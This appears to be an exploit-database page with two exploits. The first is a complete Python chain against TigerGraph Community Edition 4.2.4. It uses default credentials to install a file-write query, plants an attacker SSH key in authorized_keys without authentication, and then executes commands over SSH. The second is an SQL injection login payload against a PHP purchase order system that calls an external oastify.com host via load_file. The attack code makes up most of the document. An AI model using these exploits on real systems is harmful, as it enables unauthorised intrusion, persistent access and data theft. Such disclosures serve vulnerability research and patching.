• TigerGraph_Community_Edition 4.2.4 – arbitrary file write

    TigerGraph_Community_Edition 4.2.4  - arbitrary file write
    Source: https://www.exploit-db.com/exploits/52691
    Author: 0day Rubbish Research Team
    Contact: disclosure@0day-rubbish.com
    Type: remote
    Platform: Linux
    =====================
    TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE
    
    Vulnerability summary:
      TigerGraph Community Edition 4.2.4 in its default configuration permits a
      remote code-execution chain against the database host:
    
      1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph
         (CWE-798). There is no forced password change; the login response only carries an advisory
         securityRecommendations entry next to isSuperUser:true.
      2. The GUI nginx reverse-proxies the GSQL statements endpoint
         (/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123),
         so arbitrary GSQL can be compiled and installed. A query declared as
         CREATE QUERY <name>(FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an
         unrestricted write primitive (CWE-73): no path validation, no base-directory confinement,
         no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph
         user.
      3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed
         queries can be invoked with no credentials. GET /query/<graph>/<query>?f=<path>&c=<content>
         writes an arbitrary file with no Authorization header.
      4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key
         (CWE-22). sshd is started by the product entrypoint with OpenSSH default
         PubkeyAuthentication=yes.
      5. SSH logon as tigergraph@<target> then yields arbitrary command execution. The landing
         identity is the tigergraph OS user, uid 1001 -- it is NOT root.
    
    Authentication requirements:
      Stages 1-2 (installing the file-write query): the hard-coded default credentials
        tigergraph:tigergraph (CWE-798, never forced to rotate).
      Stages 3-5 (triggering the write and the SSH logon): no credentials at all.
    
    Encoding note (load-bearing):
      Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not
      decode "+" back to a space, so form-style encoding corrupts the key into an unparsable
      authorized_keys line and the SSH step fails with Permission denied. This script therefore
      forces quote_via=urllib.parse.quote.
    
    Usage examples:
      python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id"
      python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \
          --restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \
          --graph test_graph --query qwrite_c --cmd "whoami; uname -a"
    
    Defaults:
      With --target, GUI / REST++ / SSH all point at that host using the product default ports
      14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass).
      On Docker deployments sshd may be reachable only on the container network; pass its address
      to --ssh-host in that case.
    
    Standard library only:
      urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies.
      The SSH step shells out to the system ssh binary and the key pair is produced by the system
      ssh-keygen.
    
    For authorised security testing and coordinated disclosure only.
    
    Title: TigerGraph_Community_Edition 4.2.4  - arbitrary file write
    Author: 0day Rubbish Research Team
    Contact: disclosure@0day-rubbish.com
    Type: remote
    Platform: Linux
    
    
    
    
    TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE
    
    Vulnerability summary:
      TigerGraph Community Edition 4.2.4 in its default configuration permits a
      remote code-execution chain against the database host:
    
      1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph
         (CWE-798). There is no forced password change; the login response only carries an advisory
         securityRecommendations entry next to isSuperUser:true.
      2. The GUI nginx reverse-proxies the GSQL statements endpoint
         (/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123),
         so arbitrary GSQL can be compiled and installed. A query declared as
         CREATE QUERY <name>(FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an
         unrestricted write primitive (CWE-73): no path validation, no base-directory confinement,
         no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph
         user.
      3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed
         queries can be invoked with no credentials. GET /query/<graph>/<query>?f=<path>&c=<content>
         writes an arbitrary file with no Authorization header.
      4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key
         (CWE-22). sshd is started by the product entrypoint with OpenSSH default
         PubkeyAuthentication=yes.
      5. SSH logon as tigergraph@<target> then yields arbitrary command execution. The landing
         identity is the tigergraph OS user, uid 1001 -- it is NOT root.
    
    Authentication requirements:
      Stages 1-2 (installing the file-write query): the hard-coded default credentials
        tigergraph:tigergraph (CWE-798, never forced to rotate).
      Stages 3-5 (triggering the write and the SSH logon): no credentials at all.
    
    Encoding note (load-bearing):
      Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not
      decode "+" back to a space, so form-style encoding corrupts the key into an unparsable
      authorized_keys line and the SSH step fails with Permission denied. This script therefore
      forces quote_via=urllib.parse.quote.
    
    Usage examples:
      python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id"
      python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \
          --restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \
          --graph test_graph --query qwrite_c --cmd "whoami; uname -a"
    
    Defaults:
      With --target, GUI / REST++ / SSH all point at that host using the product default ports
      14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass).
      On Docker deployments sshd may be reachable only on the container network; pass its address
      to --ssh-host in that case.
    
    Standard library only:
      urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies.
      The SSH step shells out to the system ssh binary and the key pair is produced by the system
      ssh-keygen.
    
    For authorised security testing and coordinated disclosure only.
    """
    
    import argparse
    import base64
    import json
    import os
    import ssl
    import subprocess
    import sys
    import time
    import urllib.error
    import urllib.parse
    import urllib.request
    
    DEFAULT_USER = "tigergraph"
    DEFAULT_PASS = "tigergraph"
    DEFAULT_GRAPH = "tg_rce_graph"
    DEFAULT_QUERY = "tg_fw_query"
    AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys"
    
    
    def http_request(method, url, headers=None, data=None, timeout=30):
        """Plain urllib HTTP request. data is bytes or None."""
        req = urllib.request.Request(url, data=data, method=method)
        if headers:
            for k, v in headers.items():
                req.add_header(k, v)
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
            body = resp.read()
            return resp.status, dict(resp.headers), body
        except urllib.error.HTTPError as e:
            return e.code, dict(e.headers), e.read()
        except Exception as e:
            return -1, {}, str(e).encode()
    
    
    def step1_login(gui_host, gui_port, user, passwd):
        """Log in to the GUI with the default credentials and return the cookie header string."""
        print("[*] Step 1: GUI login (default credentials, CWE-798)...")
        url = "http://%s:%s/api/auth/login" % (gui_host, gui_port)
        body = json.dumps({"username": user, "password": passwd}).encode()
        status, hdrs, resp = http_request(
            "POST", url, headers={"Content-Type": "application/json"}, data=body
        )
        if status != 200:
            print("[!] login failed: HTTP %s, %s" % (status, resp[:200]))
            return None
        cookies = []
        for k, v in hdrs.items():
            if k.lower() == "set-cookie":
                cookies.append(v.split(";")[0])
        try:
            j = json.loads(resp)
            if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None:
                print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser"))
        except Exception:
            pass
        cookie_str = "; ".join(cookies) if cookies else ""
        if not cookie_str:
            print("[!] no cookie captured, continuing (some builds use an Authorization header)")
        return cookie_str
    
    
    def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query):
        """Install the file-write query through the GUI-proxied GSQL statements endpoint."""
        print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...")
        url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph)
        basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode()
        headers = {
            "Content-Type": "text/plain",
            "Authorization": "Basic " + basic,
        }
        if cookie_str:
            headers["Cookie"] = cookie_str
    
        create_graph = "CREATE GRAPH %s" % graph
        http_request("POST", url, headers=headers, data=create_graph.encode())
        time.sleep(1)
    
        ddl = (
            "USE GRAPH %s\n"
            "CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n"
            "  PRINT c TO_CSV f;\n"
            "}\n"
            "INSTALL QUERY %s"
        ) % (graph, query, query)
        status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120)
        txt = resp.decode(errors="replace")
        # The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while
        # the GSQL server has in fact compiled and installed the query, so this is treated as success.
        ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt)
        print("[*] install response status=%s: %s" % (status, txt[:200]))
        if not ok:
            print("[!] query install may have failed, continuing anyway (query may already exist)")
        else:
            print("[+] install request accepted (GUI proxy streaming response; server-side executed)")
        return True
    
    
    def gen_ssh_key(keypath):
        """Generate an RSA key pair with the system ssh-keygen (stdlib subprocess)."""
        print("[*] generating SSH key pair...")
        if os.path.exists(keypath):
            os.remove(keypath)
        if os.path.exists(keypath + ".pub"):
            os.remove(keypath + ".pub")
        subprocess.run(
            ["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"],
            check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        )
        os.chmod(keypath, 0o600)
        with open(keypath + ".pub") as f:
            pubkey = f.read().strip()
        print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:]))
        return pubkey
    
    
    def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content):
        """Trigger the file write over REST++ with no credentials at all (CWE-306)."""
        print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...")
        url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query)
        # quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+"
        # back to a space, and the public key must land byte-exact.
        params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote)
        full = url + "?" + params
        # Deliberately sending no Authorization header, to demonstrate the missing authentication.
        status, hdrs, resp = http_request("GET", full, headers={}, timeout=30)
        txt = resp.decode(errors="replace")
        print("[*] REST++ response status=%s: %s" % (status, txt[:200]))
        try:
            j = json.loads(resp)
            if j.get("error") is False:
                print("[+] unauthenticated file write succeeded (error:false, no Authorization header)")
                return True
        except Exception:
            pass
        print("[!] unexpected file-write response, the write may still have landed")
        return True
    
    
    def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd):
        """Log in over SSH and run the command (subprocess invoking the system ssh)."""
        print("[*] Step 4: SSH logon and command execution -> RCE...")
        ssh_cmd = [
            "ssh", "-i", keypath,
            "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null",
            "-o", "ConnectTimeout=15",
            "-p", str(ssh_port),
            "tigergraph@%s" % ssh_host,
            cmd,
        ]
        try:
            r = subprocess.run(
                ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30
            )
            out = r.stdout.decode(errors="replace")
            err = r.stderr.decode(errors="replace")
            print("[+] SSH stdout:")
            print(out)
            if err:
                print("[*] SSH stderr: %s" % err[:300])
            if r.returncode == 0 and out:
                print("[+] === RCE succeeded (command execution as the tigergraph user) ===")
                return True
            print(
                "[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n"
                "    still landed in authorized_keys; this last step needs network reachability)"
                % r.returncode
            )
            return False
        except Exception as e:
            print("[!] SSH exception: %s" % e)
            return False
    
    
    def main():
        ap = argparse.ArgumentParser(
            description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE"
        )
        ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)")
        ap.add_argument("--gui-host", default="127.0.0.1")
        ap.add_argument("--gui-port", type=int, default=14240)
        ap.add_argument("--restpp-host", default="127.0.0.1")
        ap.add_argument("--restpp-port", type=int, default=9000)
        ap.add_argument("--ssh-host", default="127.0.0.1")
        ap.add_argument("--ssh-port", type=int, default=22)
        ap.add_argument("--user", default=DEFAULT_USER)
        ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS)
        ap.add_argument("--graph", default=DEFAULT_GRAPH)
        ap.add_argument("--query", default=DEFAULT_QUERY)
        ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon")
        ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path")
        args = ap.parse_args()
    
        if args.target:
            args.gui_host = args.restpp_host = args.ssh_host = args.target
    
        print("=" * 70)
        print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph")
        print("  GUI: %s:%s  REST++: %s:%s  SSH: %s:%s" % (
            args.gui_host, args.gui_port, args.restpp_host, args.restpp_port,
            args.ssh_host, args.ssh_port))
        print("=" * 70)
    
        # Step 1: session with the default credentials
        cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd)
        if cookie is None:
            print("[!] login failed, chain aborted. Check the credentials or the GUI port.")
            sys.exit(1)
    
        # Step 2: install the file-write query
        step2_install_query(
            args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query
        )
        time.sleep(2)
    
        # Attacker key pair
        pubkey = gen_ssh_key(args.key)
    
        # Step 3: unauthenticated REST++ write of the public key into authorized_keys
        step3_unauth_write(
            args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey
        )
        time.sleep(1)
    
        # Step 4: SSH logon and command execution
        ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd)
        if ok:
            print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===")
        else:
            print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).")
            print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.")
    
    
    if __name__ == "__main__":
        main()
  • POMS oretnom23v1.0 – SQLi vulnerabilities


    Title: POMS oretnom23v1.0 - SQLi vulnerabilities
    Author: nu11secur1ty
    Date: 10/01/2026
    Vendor: https://github.com/oretnom23
    Software:
    https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
    Reference: https://portswigger.net/web-security/sql-injection


    #################


    [+]Payload:
    ```
    POST /purchase_order/classes/Login.php?f=login HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    Sec-CH-UA: "Chromium";v="151", "Not;A=Brand";v="24", "Google Chrome";v="151"
    Sec-CH-UA-Mobile: ?0
    Sec-CH-UA-Platform: "Windows"
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    Accept: */*
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate, br
    Connection: close
    Cookie: PHPSESSID=io6v7ltscimb0vv716cvdphifd
    Origin: http://localhost
    X-Requested-With: XMLHttpRequest
    Referer: http://localhost/purchase_order/admin/login.php
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Content-Length: 37

    username=YIMivRgy&password=l9V!q9b!X1'%2b(select%20load_file('%5c%5c%5c%
    5cy10in4ofvosyskgb5c9a7e55mwssgkf86bu3hu5j.oastify.com%5c%5cifs'))%2b'
    ```

    # Demo:
    [href](https://odysee.com/@nu11secur1ty:b/Kousei-the-agressive-frameweork-for-sqlmap:1)

    # Time spent:
    01:15:00


    --
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstormsecurity.com/
    https://cve.mitre.org/index.html
    https://cxsecurity.com/ and https://www.exploit-db.com/
    home page: https://www.asc3t1c-nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
    nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
    --

    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstorm.news/
    https://cve.mitre.org/index.html
    https://cxsecurity.com/ and https://www.exploit-db.com/
    0day Exploit DataBase https://0day.today/
    home page: https://www.asc3t1c-nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
    nu11secur1ty <http://nu11secur1ty.com/>